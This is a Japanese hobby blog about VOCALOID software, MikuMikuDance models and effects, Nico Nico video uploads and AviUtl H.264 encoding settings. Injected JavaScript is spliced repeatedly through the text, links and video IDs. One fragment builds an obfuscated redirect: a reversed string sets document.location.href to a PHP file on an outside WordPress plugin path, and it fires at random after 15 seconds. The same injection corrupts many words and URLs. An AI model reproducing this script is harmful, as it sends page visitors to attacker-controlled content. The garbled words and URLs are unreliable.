VOCALOID3 Job Plugin VocaListener(略称:ぼかりす)の発売日が発表された

産総研の技術を一般消費者向け製品として実用化。とあったので、ぼかりすのことだよねと思って記事を読んでみると

「「VocaListener」(ボーカリスナー、略称:ぼかりす)」と書いてあったので、まさにそれだったみたいです。

商品名:ヤマハ ソフトウェア VOCALOID3 Job Plugin VocaListener

発売日:2012年10月19日(金)

価格:19,800円

約2万円ということで、ボカロ1体+アルファという感じですが、値段的にはそこまで高いという印象はなかったですが、他の方の意見はどうなんでしょうね。

主な特徴

1.容易に人間らしい自然な歌い方を「VOCALOID」で合成可能に

2.VOCALOIDのさまざまな歌声でお手本の歌い方をまねることが可能に

 やはりこの歌声合成パラメータが自動的に調整される機能がきになりますね。

3.「VOCALOID3 Job Plugin」として動作

4.快適な制作環境を提供するユーザーインターフェース

発売されると、これを使用した作品が投稿されるので、どんな感じになるか参考にできるものは多いかと思います。




記事掲載URL

実際の歌声から歌い方をまねて再現、より人間らしく自然な歌声合成が可能に ヤマハ ソフトウェア『VOCALOID3 Job Plugin VocaListener』

– ニュースリリース – ヤマハ株式会社dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}


dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://jp.yamaha.com/news_release/2012/12091801.html

【MMDモデル紹介】ぐみちゅん (マシシさんのモデル)

ダウンロードはこちら。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www10.plala.or.jp/masisi/DL_vocaloid.html

モデル名:ぐみちゅん

説明としては、「GUMIのバキュラを創造してみた」となっていました。

くちばしあたりは今後かわるかも?

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

GUMIのバキュラが創造されていたので



GUMIの頭の上においてみた。

シェーダで陰影付けないほうがよかったかも。

でも、そうすると、背景の陰影がつかなくてものたりなくなるのよね。どうしましょ。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

斜め横からのほうが可愛いかも。

マシシさんとこのGUMIさんと一緒に撮影。

やはり、似合う。

しかし、MMEのシェーダ系もあり、ほかにもいろいろと見た目を変えられるものがあるので、どれを使おうか悩みますね。

自分の好みでやればいいと思うんだけど、そうはいっても、いじっているとだんだんと物足りなくなってきついものを使ったりしたりするし

気分を変えていろいろみないといけないかも。

投稿しました「【GUMI】ボカマス★ナイトフィーバー【替え歌】」

今回投稿した動画です。

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm17347238″]

ぼかます生をテーマに替え歌にしてみました。

超ローカルネタ。

恒例の映像でしようしたもの一覧

■使用したMME

・改変ディフュージョンフィルタ v0.4

・モーションブラーエフェクト Ver.2.0

・AutoLuminous Ver.2.0

 ライトとか、いろいろ光らせるため

・XDOF Ver.2.2

 カメラのピントみたいに、ピントがあっていないところをぼかします。

・SeriousShadom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der.fx v0.2

 しはすいさんから、このシェーダを使っているとのコメントをもらったので使ってみました。

 「PostAdultShadom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der.fx」とセットで使用しています。

 これは、モデルごとに割り当てが必要です。

 MMDを起動し直すと設定がなくなっているから、忘れずに毎回設定してます。

 設定が解除されるのは仕様なのだろうか。それとも、私だけ?

・PostAdultShadom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der.fx v0.13

 ということでこちらをセットで使用。これはアクセサリで読み込むだけです。

・SSAO

 奥行きのある感じの質感?色調?な感じ?言葉でうまく説明できない。

■使用したモデル

・Lat式ミクぷちミク

・GUMIβ

・バケちは

・千早 ゴシックプリンセス

・五体合体グレートキサラギ

・DIVAっぽいMEIKO

・DIVA風ミク_ver.1.05α

・歌愛ユキ_n式ver1.03

・デフォ子(唄音ウタ)Ver.2.4a

■使用したアクセサリ類

・鉄塔ステージ ver.1.0

・イベントステージ ver.1.1

・天空セット(環境3.0)

■3DCG動画作成ツール

・MikuMikuDance Ver.7.39

■使用したモーション

・【MMD】DanceVidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo ルカルカ★ナイトフィーバー【こずえ】

 dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/sm7821565″ target=”_blank”>http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/sm7821565

 [nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm7821565″]

今回苦労したことは、エンコードするとものすごく汚くなるのでどうやって綺麗にするかでした。

1.5MBでエンコードしても、ものすごく汚かったです。

そのため、最初の方は、大人しめのステージにしてエンコードに優しくしてみたり

色々と試してみました。

結論としては、ビットレート1.5Mで色々試したけど納得できる画質にはなりませんでした。

ウィンドウを最大にしてみなければそこまでわからないですが、最後の方は、どうせローカルネタなんだから

多くの人がいるわけでもないからビットレート2Mにしちゃえ・・・

となってしましました。

何回もエンコードしたのは、勉強だと思っておくことにします。

何度も何度もエンコードしていたので、エンコードだけで10時間以上やってました。

aviutlの設定(MP4エンコードのためプラグイン使用)

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

H.264 Leverlは3.1のところを、今回はビットレート高めなので4.1にしてみました。

ビットレート1.5MBでH.264 Leverlは3.1だと、映像が汚すぎて話になりませんでした。

プリセットのロードはslowにしています。veryslowにすると一眠りできるくらい時間かかりました。

それでもそんなに映像は良くなかったこともあり、今回は、最後はslowでいいかと日和してしましした。

veryslowで数回やりましたが、さすがに試行するのに時間がかかり過ぎなので時間的にあきめました。

今回は3回エンコードする設定にしていたので、私のPCで1時間かかりました。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

AQのモードをAutoVAQにしましたが、そんなに変化なかった気がします。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

動きの予測は、Hadamard ESA(低速)という一番遅いやつを選択。少しでも画質を良くしようとチャレンジ。

サブピクセル動きを予測も11(Full RD)を選択。(一番いいやつ)

キーフレーム間隔の上限は600にしています。(60fpsの動画だったため)

fpsの10倍の値を入力するらしいです。

動画投稿「【KAIKO】きゅんっ!ヴァンパイアガール【カバー】」

今回は、お手伝いした動画をアップロードしました。

投稿動画はこちら。

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm17273089″]

コメントにも書いていますが、しやさんがKAIKOで「きゅんっ!ヴァンパイアガール」を歌わせていたのをみてお手伝い表明。

MMDでモーションが公開されているので、それをもとに動画を編集しました。

作成している途中でMMEがバージョンアップしていることに気づいたり

違うMMEを使ったほうが良さそうだったりしたので、いろいろと試しながら作成しました。

動画の最後に使用したものをクレジット表示しています。

以下の内容になります。

使用したもの(動画の最後にクレジット)

■使用したMME

 ・改変ディフュージョンフィルタ v0.4

  説明難しいけど、ちょっとぼやかして綺麗にみせる的な感じ?

 ・モーションブラーエフェクト Ver.2.0

  前につかっていたブラーよりもこっちのほうが綺麗にブラーがかかっていたので変更。

  古いMMEのバージョンではエラーになったのでMMEを最新化しました。

 ・お手軽にトーン補正フィルタ v0.6

 ・AutoLuminous Ver.2.0

 ・XDOF Ver.2.2

  カメラのようにピントのあわない背景をぼやかすものです。

・AdultShadom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}derS と S2 v0.14

  オープニングで暗いなか、指定部分を光らせてます。

■使用したモデル

 ・始音カイコv2 ホワイトブレザー

 ・らぶ式KAIKO

 ・KAIKO Ver3.1?

■使用したステージ

 ・WIM風ステージ

 ・バラド=ドゥーア

■使用したアクセサリ

 ・小悪魔セット(白)

■3DCG動画作成ツール

MikuMikuDance Ver.7.39

■VSQ配布元

【Vocaloid miki】きゅんっ!ヴァンパイアガール【カバー】

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm15251434″]

■モーション配布元

【Voc@loidM@ster祭り5】トリオdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deきゅんパイア【MMDモーション配布】

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm16143151″]

【GUMI V3 Power】 大塚愛の「さくらんぼ」をカバー【VELのみで調整】を投稿しました

SNS「にゃっぽん」のカバー曲コミュの企画イベント

企画「輝け!第4回明日の大物Pは君だ!」

の参加作品を投稿しました。

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm16005901″]

VOCALOID3ではベロシティ(VEL)の効き方がかなり変わってこれだけでもかなり歌声にアクセントが付けられるということだったので、実験的な意味も含めて、エディタ上ではVELのみ調整でどこまでできるか試してみました。

調整の甘いところもありますが、ちょっとVELを調整しただけでかなり歌い方が変わって良い感じになりました。

ほかのパラメータがどのくらい変わったのかはまだわかっていません。

話によるとPITの効き方がダイレクトになったとか、OPEの効き方もかわったとか?(どう変わったかまでわかっていません)

時間を見つけて、ぼちぼち試していきたいと思います。

大して参考にもなりませんが、映像はVELを写した状態のエディタになっています。